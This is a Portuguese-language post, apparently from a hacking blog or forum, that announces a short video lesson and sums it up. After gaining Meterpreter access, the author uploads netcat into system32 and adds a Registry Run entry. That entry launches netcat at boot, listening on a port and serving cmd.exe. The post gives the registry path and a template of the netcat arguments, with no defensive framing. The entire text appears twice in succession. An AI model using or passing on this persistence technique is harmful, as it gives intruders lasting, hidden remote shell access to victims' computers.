Nessa aula mostro com adicionar uma entrada no regedit do Windows, para que um arquivo inicie junto como o sistema operacional.
O que eu fiz?
Tinha acesso a maquina via meterpreter, usei recurso da mesma para upar o netcat na pasta system32 do sistema, adicionei uma entrada no regedit e redirecionei para netcat iniciar junto com o sistema operacional, configurei uma porta e o tipo de acesso que eu gostaria de ter no sistema.
Programas:
Metasploit
Netcat
Comandos:
HKEY_LOCAL_MACHINE - Software - Microsoft - Windows - CurrenteVersion - Run
-v Nome da entrada -d "Localdoarquivo -L -d -p 'Porta' -e cmd.exe(acesso ao sistema)"
Informações:
Metasploit - www.metasploit.com
Backdoor - http://pt.wikipedia.org/wiki/Backdoor
Comandos DOS - http://pt.wikipedia.org/wiki/DOS
Video:
Tamanho: 13.9 mb
Formato: avi
Duração: 5:11 min
Musica: Avenue - Crew 7 / Gasolina - Daddy yankee
Baixar: http://www.4shared.com/file/jhKM28Pi/backdoor-iniciando-com-windows.html
O que eu fiz?
Tinha acesso a maquina via meterpreter, usei recurso da mesma para upar o netcat na pasta system32 do sistema, adicionei uma entrada no regedit e redirecionei para netcat iniciar junto com o sistema operacional, configurei uma porta e o tipo de acesso que eu gostaria de ter no sistema.
Programas:
Metasploit
Netcat
Comandos:
HKEY_LOCAL_MACHINE - Software - Microsoft - Windows - CurrenteVersion - Run
-v Nome da entrada -d "Localdoarquivo -L -d -p 'Porta' -e cmd.exe(acesso ao sistema)"
Informações:
Metasploit - www.metasploit.com
Backdoor - http://pt.wikipedia.org/wiki/Backdoor
Comandos DOS - http://pt.wikipedia.org/wiki/DOS
Video:
Tamanho: 13.9 mb
Formato: avi
Duração: 5:11 min
Musica: Avenue - Crew 7 / Gasolina - Daddy yankee
Baixar: http://www.4shared.com/file/jhKM28Pi/backdoor-iniciando-com-windows.html
